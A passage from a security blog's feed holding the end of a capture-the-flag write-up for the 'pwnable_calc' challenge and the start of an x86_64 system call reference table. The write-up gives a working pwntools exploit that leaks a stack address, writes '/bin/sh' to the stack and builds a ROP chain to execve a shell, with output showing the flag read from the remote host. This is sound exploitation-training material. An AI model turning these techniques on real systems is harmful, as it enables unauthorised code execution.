start()</span><br><span class="line">io.timeout = <span class="number">3000</span> <span class="comment">#for debugging</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">b&quot;1+1&quot;</span></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;\n&#x27;</span>) <span class="comment">#=== Welcome to SECPROG calculator ===</span></span><br><span class="line"></span><br><span class="line"><span class="string">&quot;&quot;&quot; calc stack </span></span><br><span class="line"><span class="string">-000005A0 pool            dd 101 dup(?)                -----------|----------------------|</span></span><br><span class="line"><span class="string">-0000040C expr            db 1024 dup(?)         1               357*size_of(int)        |    </span></span><br><span class="line"><span class="string">-0000000C cannary         dd ?                   2     -----------|                      |</span></span><br><span class="line"><span class="string"><span class="meta">... </span>                                                                          (0x5a0 + 4) = 0x5a4 = 361*size_of(int)</span></span><br><span class="line"><span class="string">+00000000  s              db 4 dup(?)          360                                       | </span></span><br><span class="line"><span class="string">+00000004  r              db 4 dup(?)          361     ----------------------------------|</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">ebp_value = leak(<span class="string">b&quot;+360&quot;</span>)</span><br><span class="line">log.info(<span class="string">f&quot;ebp_value: <span class="subst">&#123;<span class="built_in">hex</span>(ebp_value &amp; <span class="number">0xffffffff</span>)&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#write /bin/sh to  locatoin just above ebp</span></span><br><span class="line"><span class="comment">#0x6e69622f   0x68732f   /bin/sh; /bin/sh&#x27;s location would be ebp_value - 0x28 (get the offset by gdb debugging)</span></span><br><span class="line">write(<span class="number">358</span>, <span class="number">0x6e69622f</span>)</span><br><span class="line">write(<span class="number">359</span>, <span class="number">0x68732f</span>)</span><br><span class="line">binsh = ebp_value &amp; <span class="number">0xffffffff</span> - <span class="number">0x28</span></span><br><span class="line"></span><br><span class="line">rop = ROP(elf)</span><br><span class="line">int80 = rop.find_gadget([<span class="string">&#x27;int 0x80&#x27;</span>])</span><br><span class="line">rop.raw(rop.eax)</span><br><span class="line">rop.raw(<span class="number">0xb</span>)</span><br><span class="line"><span class="comment"># rop.raw(rop.ebx)</span></span><br><span class="line"><span class="comment"># rop.raw(binsh)</span></span><br><span class="line">rop.raw(rop.ecx)</span><br><span class="line">rop.raw(<span class="number">0</span>)</span><br><span class="line">rop.raw(binsh)</span><br><span class="line">rop.raw(rop.edx)</span><br><span class="line">rop.raw(<span class="number">0</span>)</span><br><span class="line">rop.raw(int80)</span><br><span class="line"></span><br><span class="line">rop_bs = rop.chain()</span><br><span class="line"><span class="built_in">print</span>(rop_bs)</span><br><span class="line"><span class="built_in">print</span>(rop.dump())</span><br><span class="line"></span><br><span class="line">offset = <span class="number">361</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(rop_bs), <span class="number">4</span>):</span><br><span class="line">    ai32 = u32(rop_bs[i:i+<span class="number">4</span>])</span><br><span class="line">    ai32 = ctypes.c_int32(ai32).value</span><br><span class="line">    write(offset, ai32)</span><br><span class="line">    offset += <span class="number">1</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">io.sendline()</span><br><span class="line"><span class="comment"># =============================================================================</span></span><br><span class="line"><span class="comment"># io.interactive()</span></span><br><span class="line"><span class="comment">## got shell</span></span><br><span class="line">time.sleep(<span class="number">3</span>)</span><br><span class="line">io.sendline(<span class="string">b&quot;cat flag&quot;</span>)</span><br><span class="line">flag = io.recvline()</span><br><span class="line">log.info(<span class="string">f&quot;flag: <span class="subst">&#123;flag&#125;</span>&quot;</span>)</span><br><span class="line">io.close()</span><br></pre></td></tr></table></figure><h1 id="0x4-output-example"><a class="markdownIt-Anchor" href="#0x4-output-example"></a> 0x4 Output Example</h1><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">╰─$ python exp.py REMOTE</span><br><span class="line">[*] &#x27;pwnable_calc/bin&#x27;</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br><span class="line">[+] Opening connection to node4.buuoj.cn on port 28496: Done</span><br><span class="line">[*] ebp_value: 0xffd17cf8</span><br><span class="line">[*] Loaded 91 cached gadgets for &#x27;bin&#x27;</span><br><span class="line">b&#x27;K\xc3\x05\x08\x0b\x00\x00\x00\xd1\x01\x07\x08\x00\x00\x00\x00\xd0|\xd1\xff\xaa\x01\x07\x08\x00\x00\x00\x00!\x9a\x04\x08&#x27;</span><br><span class="line">0x0000:        0x805c34b pop eax; ret</span><br><span class="line">0x0004:              0xb</span><br><span class="line">0x0008:        0x80701d1 pop ecx; pop ebx; ret</span><br><span class="line">0x000c:              0x0</span><br><span class="line">0x0010:       0xffd17cd0</span><br><span class="line">0x0014:        0x80701aa pop edx; ret</span><br><span class="line">0x0018:              0x0</span><br><span class="line">0x001c:        0x8049a21 int 0x80</span><br><span class="line">[*] flag: b&#x27;flag&#123;3ec****4-73f2-4c1e-8623-be****20ba24&#125;\n&#x27;</span><br><span class="line">[*] Closed connection to node4.buuoj.cn port 28496</span><br></pre></td></tr></table></figure><h1 id="0x5-the-challenge"><a class="markdownIt-Anchor" href="#0x5-the-challenge"></a> 0x5 The Challenge</h1><p><a href="https://buuoj.cn/challenges#pwnable_calc">https://buuoj.cn/challenges#pwnable_calc</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;0x0-checksec&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#0x0-checksec&quot;&gt;&lt;/a&gt; 0x0 Checksec&lt;/h1&gt;
&lt;figure class=&quot;highlight text&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td</summary>
      
    
    
    
    <category term="Write Up" scheme="http://www.4x7.fun/categories/Write-Up/"/>
    
    
    <category term="Write Up" scheme="http://www.4x7.fun/tags/Write-Up/"/>
    
    <category term="Stack Overflow" scheme="http://www.4x7.fun/tags/Stack-Overflow/"/>
    
    <category term="system call" scheme="http://www.4x7.fun/tags/system-call/"/>
    
  </entry>
  
  <entry>
    <title>System Call Table - x86_64</title>
    <link href="http://www.4x7.fun/2022/04/13/System-Call-Table-x86-64/"/>
    <id>http://www.4x7.fun/2022/04/13/System-Call-Table-x86-64/</id>
    <published>2022-04-13T12:04:41.000Z</published>
    <updated>2022-04-20T03:56:10.000Z</updated>
    
    <content type="html"><![CDATA[<table><thead><tr><th style="text-align:center">syscall number</th><th style="text-align:center">syscall</th><th style="text-align:center">%rax</th><th style="text-align:center">%rdi</th><th style="text-align:center">%rsi</th><th style="text-align:center">%rdx</th><th style="text-align:center">%rcx</th><th style="text-align:center">%r8</th><th style="text-align:center">%r9</th></tr></thead><tbody><tr><td style="text-align:center">0</td><td style="text-align:center">sys_read</td><td style="text-align:center">0</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">char *buf</td><td style="text-align:center">size_t count</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">1</td><td style="text-align:center">sys_write</td><td style="text-align:center">1</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">const char *buf</td><td style="text-align:center">size_t count</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">2</td><td style="text-align:center">sys_open</td><td style="text-align:center">2</td><td style="text-align:center">const char *filename</td><td style="text-align:center">int flags</td><td style="text-align:center">int mode</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">3</td><td style="text-align:center">sys_close</td><td style="text-align:center">3</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">4</td><td style="text-align:center">sys_stat</td><td style="text-align:center">4</td><td style="text-align:center">const char *filename</td><td style="text-align:center">struct stat *statbuf</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">5</td><td style="text-align:center">sys_fstat</td><td style="text-align:center">5</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">struct stat *statbuf</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">6</td><td style="text-align:center">sys_lstat</td><td style="text-align:center">6</td><td style="text-align:center">fconst char *filename</td><td style="text-align:center">struct stat *statbuf</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">7</td><td style="text-align:center">sys_poll</td><td style="text-align:center">7</td><td style="text-align:center">struct poll_fd *ufds</td><td style="text-align:center">unsigned int nfds</td><td style="text-align:center">long timeout_msecs</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">8</td><td style="text-align:center">sys_lseek</td><td style="text-align:center">8</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">off_t offset</td><td style="text-align:center">unsigned int origin</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">9</td><td style="text-align:center">sys_mmap</td><td style="text-align:center">9</td><td style="text-align:center">unsigned long addr</td><td style="text-align:center">unsigned long len</td><td style="text-align:center">unsigned long prot</td><td style="text-align:center">unsigned long flags</td><td style="text-align:center">unsigned long fd</td><td style="text-align:center">unsigned long off</td></tr><tr><td style="text-align:center">10</td><td style="text-align:center">sys_mprotect</td><td style="text-align:center">A</td><td style="text-align:center">unsigned long start</td><td style="text-align:center">size_t len</td><td style="text-align:center">unsigned long prot</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">11</td><td style="text-align:center">sys_munmap</td><td style="text-align:center">B</td><td style="text-align:center">unsigned long addr</td><td style="text-align:center">size_t len</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">12</td><td style="text-align:center">sys_brk</td><td style="text-align:center">C</td><td style="text-align:center">unsigned long brk</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">13</td><td style="text-align:center">sys_rt_sigaction</td><td style="text-align:center">D</td><td style="text-align:center">int sig</td><td style="text-align:center">const struct sigaction *act</td><td style="text-align:center">struct sigaction *oact</td><td style="text-align:center">size_t sigsetsize</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">14</td><td style="text-align:center">sys_rt_sigprocmask</td><td style="text-align:center">E</td><td style="text-align:center">int how</td><td style="text-align:center">sigset_t *nset</td><td style="text-align:center">sigset_t *oset</td><td style="text-align:center">size_t sigsetsize</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">15</td><td style="text-align:center">sys_rt_sigreturn</td><td style="text-align:center">F</td><td style="text-align:center">unsigned long __unused</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">16</td><td style="text-align:center">sys_ioctl</td><td style="text-align:center">10</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">unsigned int cmd</td><td style="text-align:center">unsigned long arg</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">17</td><td style="text-align:center">sys_pread64</td><td style="text-align:center">11</td><td style="text-align:center">unsigned long fd</td><td style="text-align:center">char *buf</td><td style="text-align:center">size_t count</td><td style="text-align:center">loff_t pos</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">18</td><td style="text-align:center">sys_pwrite64</td><td style="text-align:center">12</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">const char *buf</td><td style="text-align:center">size_t count</td><td style="text-align:center">loff_t pos</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">19</td><td style="text-align:center">sys_readv</td><td style="text-align:center">13</td><td style="text-align:center">unsigned long fd</td><td style="text-align:center">const struct iovec *vec</td><td style="text-align:center">unsigned long vlen</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">20</td><td style="text-align:center">sys_writev</td><td style="text-align:center">14</td><td style="text-align:center">unsigned long fd</td><td style="text-align:center">const struct iovec *vec</td><td style="text-align:center">unsigned long vlen</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">21</td><td style="text-align:center">sys_access</td><td style="text-align:center">15</td><td style="text-align:center">const char *filename</td><td style="text-align:center">int mode</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">22</td><td style="text-align:center">sys_pipe</td><td style="text-align:center">16</td><td style="text-align:center">int *filedes</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">23</td><td style="text-align:center">sys_select</td><td style="text-align:center">17</td><td style="text-align:center">int n</td><td style="text-align:center">fd_set *inp</td><td style="text-align:center">fd_set *outp</td><td style="text-align:center">fd_set*exp</td><td style="text-align:center">struct timeval *tvp</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">24</td><td style="text-align:center">sys_sched_yield</td><td style="text-align:center">18</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">25</td><td style="text-align:center">sys_mremap</td><td style="text-align:center">19</td><td style="text-align:center">unsigned long addr</td><td style="text-align:center">unsigned long old_len</td><td style="text-align:center">unsigned long new_len</td><td style="text-align:center">unsigned long flags</td><td style="text-align:center">unsigned long new_addr</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">26</td><td style="text-align:center">sys_msync</td><td style="text-align:center">1A</td><td style="text-align:center">unsigned long start</td><td style="text-align:center">size_t len</td><td style="text-align:center">int flags</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">27</td><td style="text-align:center">sys_mincore</td><td style="text-align:center">1B</td><td style="text-align:center">unsigned long start</td><td style="text-align:center">size_t len</td><td style="text-align:center">unsigned char *vec</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">28</td><td style="text-align:center">sys_madvise</td><td style="text-align:center">1C</td><td style="text-align:center">unsigned long start</td><td style="text-align:center">size_t len_in</td><td style="text-align:center">int behavior</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">29</td><td style="text-align:center">sys_shmget</td><td style="text-align:center">1D</td><td style="text-align:center">key_t key</td><td style="text-align:center">size_t size</td><td style="text-align:center">int shmflg</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">30</td><td style="text-align:center">sys_shmat</td><td style="text-align:center">1E</td><td style="text-align:center">int shmid</td><td style="text-align:center">char *shmaddr</td><td style="text-align:center">int shmflg</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">31</td><td style="text-align:center">sys_shmctl</td><td style="text-align:center">1F</td><td style="text-align:center">int shmid</td><td style="text-align:center">int cmd</td><td style="text-align:center">struct shmid_ds *buf</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">32</td><td style="text-align:center">sys_dup</td><td style="text-align:center">20</td><td style="text-align:center">unsigned int fildes</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">33</td><td style="text-align:center">sys_dup2</td><td style="text-align:center">21</td><td style="text-align:center">unsigned int oldfd</td><td style="text-align:center">unsigned int newfd</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">34</td><td style="text-align:center">sys_pause</td><td style="text-align:center">22</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">35</td><td style="text-align:center">sys_nanosleep</td><td style="text-align:center">23</td><td style="text-align:center">struct timespec *rqtp</td><td style="text-align:center">struct timespec *rmtp</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">36</td><td style="text-align:center">sys_getitimer</td><td style="text-align:center">24</td><td style="text-align:center">int which</td><td style="text-align:center">struct itimerval *value</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">37</td><td style="text-align:center">sys_alarm</td><td style="text-align:center">25</td><td style="text-align:center">unsigned int seconds</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">38</td><td style="text-align:center">sys_setitimer</td><td style="text-align:center">26</td><td style="text-align:center">int which</td><td style="text-align:center">struct itimerval *value</td><td style="text-align:center">struct itimerval *ovalue</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">39</td><td style="text-align:center">sys_getpid</td><td style="text-align:center">27</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">40</td><td style="text-align:center">sys_sendfile</td><td style="text-align:center">28</td><td style="text-align:center">int out_fd</td><td style="text-align:center">int in_fd</td><td style="text-align:center">off_t *offset</td><td style="text-align:center">size_t count</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">41</td><td style="text-align:center">sys_socket</td><td style="text-align:center">29</td><td style="text-align:center">int family</td><td style="text-align:center">int type</td><td style="text-align:center">int protocol</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">42</td><td style="text-align:center">sys_connect</td><td style="text-align:center">2A</td><td style="text-align:center">int fd</td><td style="text-align:center">struct sockaddr *uservaddr</td><td style="text-align:center">int addrlen</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">43</td><td style="text-align:center">sys_accept</td><td style="text-align:center">2B</td><td style="text-align:center">int fd</td><td style="text-align:center">struct sockaddr *upeer_sockaddr</td><td style="text-align:center">int *upeer_addrlen</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">44</td><td style="text-align:center">sys_sendto</td><td style="text-align:center">2C</td><td style="text-align:center">int fd</td><td style="text-align:center">void *buff</td><td style="text-align:center">size_t len</td><td style="text-align:center">unsigned flags</td><td style="text-align:center">struct sockaddr *addr</td><td style="text-align:center">int addr_len</td></tr><tr><td style="text-align:center">45</td><td style="text-align:center">sys_recvfrom</td><td style="text-align:center">2D</td><td style="text-align:center">int fd</td><td style="text-align:center">void *ubuf</td><td style="text-align:center">size_t size</td><td style="text-align:center">unsigned flags</td><td style="text-align:center">struct sockaddr *addr</td><td style="text-align:center">int *addr_len</td></tr><tr><td style="text-align:center">46</td><td style="text-align:center">sys_sendmsg</td><td style="text-align:center">2E</td><td style="text-align:center">int fd</td><td style="text-align:center">struct msghdr *msg</td><td style="text-align:center">unsigned flags</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">47</td><td style="text-align:center">sys_recvmsg</td><td style="text-align:center">2F</td><td style="text-align:center">int fd</td><td style="text-align:center">struct msghdr *msg</td><td style="text-align:center">unsigned int flags</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">48</td><td style="text-align:center">sys_shutdown</td><td style="text-align:center">30</td><td style="text-align:center">int fd</td><td style="text-align:center">int how</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">49</td><td style="text-align:center">sys_bind</td><td style="text-align:center">31</td><td style="text-align:center">int fd</td><td style="text-align:center">struct sokaddr *umyaddr</td><td style="text-align:center">int addrlen</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">50</td><td style="text-align:center">sys_listen</td><td style="text-align:center">32</td><td style="text-align:center">int fd</td><td style="text-align:center">int backlog</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">51</td><td style="text-align:center">sys_getsockname</td><td style="text-align:center">33</td><td style="text-align:center">int fd</td><td style="text-align:center">struct sockaddr *usockaddr</td><td style="text-align:center">int *usockaddr_len</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">52</td><td style="text-align:center">sys_getpeername</td><td style="text-align:center">34</td><td style="text-align:center">int fd</td><td style="text-align:center">struct sockaddr *usockaddr</td><td style="text-align:center">int *usockaddr_len</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">53</td><td style="text-align:center">sys_socketpair</td><td style="text-align:center">35</td><td style="text-align:center">int family</td><td style="text-align:center">int type</td><td style="text-align:center">int protocol</td><td style="text-align:center">int *usockvec</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">54</td><td style="text-align:center">sys_setsockopt</td><td style="text-align:center">36</td><td style="text-align:center">int fd</td><td style="text-align:center">int level</td><td style="text-align:center">int optname</td><td style="text-align:center">char *optval</td><td style="text-align:center">int optlen</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">55</td><td style="text-align:center">sys_getsockopt</td><td style="text-align:center">37</td><td style="text-align:center">int fd</td><td style="text-align:center">int level</td><td style="text-align:center">int optname</td><td style="text-align:center">char *optval</td><td style="text-align:center">int *optlen</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">56</td><td style="text-align:center">sys_clone</td><td style="text-align:center">38</td><td style="text-align:center">unsigned long clone_flags</td><td style="text-align:center">unsigned long newsp</td><td style="text-align:center">void *parent_tid</td><td style="text-align:center">void *child_tid</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">57</td><td style="text-align:center">sys_fork</td><td style="text-align:center">39</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">58</td><td style="text-align:center">sys_vfork</td><td style="text-align:center">3A</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">59</td><td style="text-align:center">sys_execve</td><td style="text-align:center">3B</td><td style="text-align:center">const char *filename</td><td style="text-align:center">const char *const argv[]</td><td style="text-align:center">const char *const envp[]</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">60</td><td style="text-align:center">sys_exit</td><td style="text-align:center">3C</td><td style="text-align:center">int error_code</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">61</td><td style="text-align:center">sys_wait4</td><td style="text-align:center">3D</td><td style="text-align:center">pid_t upid</td><td style="text-align:center">int *stat_addr</td><td style="text-align:center">int options</td><td style="text-align:center">struct rusage *ru</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">62</td><td style="text-align:center">sys_kill</td><td style="text-align:center">3E</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">int sig</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">63</td><td style="text-align:center">sys_uname</td><td style="text-align:center">3F</td><td style="text-align:center">struct old_utsname *name</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">64</td><td style="text-align:center">sys_semget</td><td style="text-align:center">40</td><td style="text-align:center">key_t key</td><td style="text-align:center">int nsems</td><td style="text-align:center">int semflg</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">65</td><td style="text-align:center">sys_semop</td><td style="text-align:center">41</td><td style="text-align:center">int semid</td><td style="text-align:center">struct sembuf *tsops</td><td style="text-align:center">unsigned nsops</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">66</td><td style="text-align:center">sys_semctl</td><td style="text-align:center">42</td><td style="text-align:center">int semid</td><td style="text-align:center">int semnum</td><td style="text-align:center">int cmd</td><td style="text-align:center">union semun arg</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">67</td><td style="text-align:center">sys_shmdt</td><td style="text-align:center">43</td><td style="text-align:center">char *shmaddr</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">68</td><td style="text-align:center">sys_msgget</td><td style="text-align:center">44</td><td style="text-align:center">key_t key</td><td style="text-align:center">int msgflg</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">69</td><td style="text-align:center">sys_msgsnd</td><td style="text-align:center">45</td><td style="text-align:center">int msqid</td><td style="text-align:center">struct msgbuf *msgp</td><td style="text-align:center">size_t msgsz</td><td style="text-align:center">int msgflg</td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">70</td><td style="text-align:center">sys_msgrcv</td><td style="text-align:center">46</td><td style="text-align:center">int msqid</td><td style="text-align:center">struct msgbuf *msgp</td><td style="text-align:center">size_t msgsz</td><td style="text-align:center">long msgtyp</td><td style="text-align:center">int msgflg</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">71</td><td style="text-align:center">sys_msgctl</td><td style="text-align:center">47</td><td style="text-align:center">int msqid</td><td style="text-align:center">int cmd</td><td style="text-align:center">struct msqid_ds *buf</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">72</td><td style="text-align:center">sys_fcntl</td><td style="text-align:center">48</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">unsigned int cmd</td><td style="text-align:center">unsigned long arg</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">73</td><td style="text-align:center">sys_flock</td><td style="text-align:center">49</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">unsigned int cmd</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">74</td><td style="text-align:center">sys_fsync</td><td style="text-align:center">4A</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">75</td><td style="text-align:center">sys_fdatasync</td><td style="text-align:center">4B</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">76</td><td style="text-align:center">sys_truncate</td><td style="text-align:center">4C</td><td style="text-align:center">const char *path</td><td style="text-align:center">long length</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">77</td><td style="text-align:center">sys_ftruncate</td><td style="text-align:center">4D</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">unsigned long length</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">78</td><td style="text-align:center">sys_getdents</td><td style="text-align:center">4E</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">struct linux_dirent *dirent</td><td style="text-align:center">unsigned int count</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">79</td><td style="text-align:center">sys_getcwd</td><td style="text-align:center">4F</td><td style="text-align:center">char *buf</td><td style="text-align:center">unsigned long size</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">80</td><td style="text-align:center">sys_chdir</td><td style="text-align:center">50</td><td style="text-align:center">const char *filename</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td></tr><tr><td style="text-align:center">81</td><td style="text-align:center">sys_fchdir</td><td style="text-align:center">51</td><td style="text-align:center">unsigned int 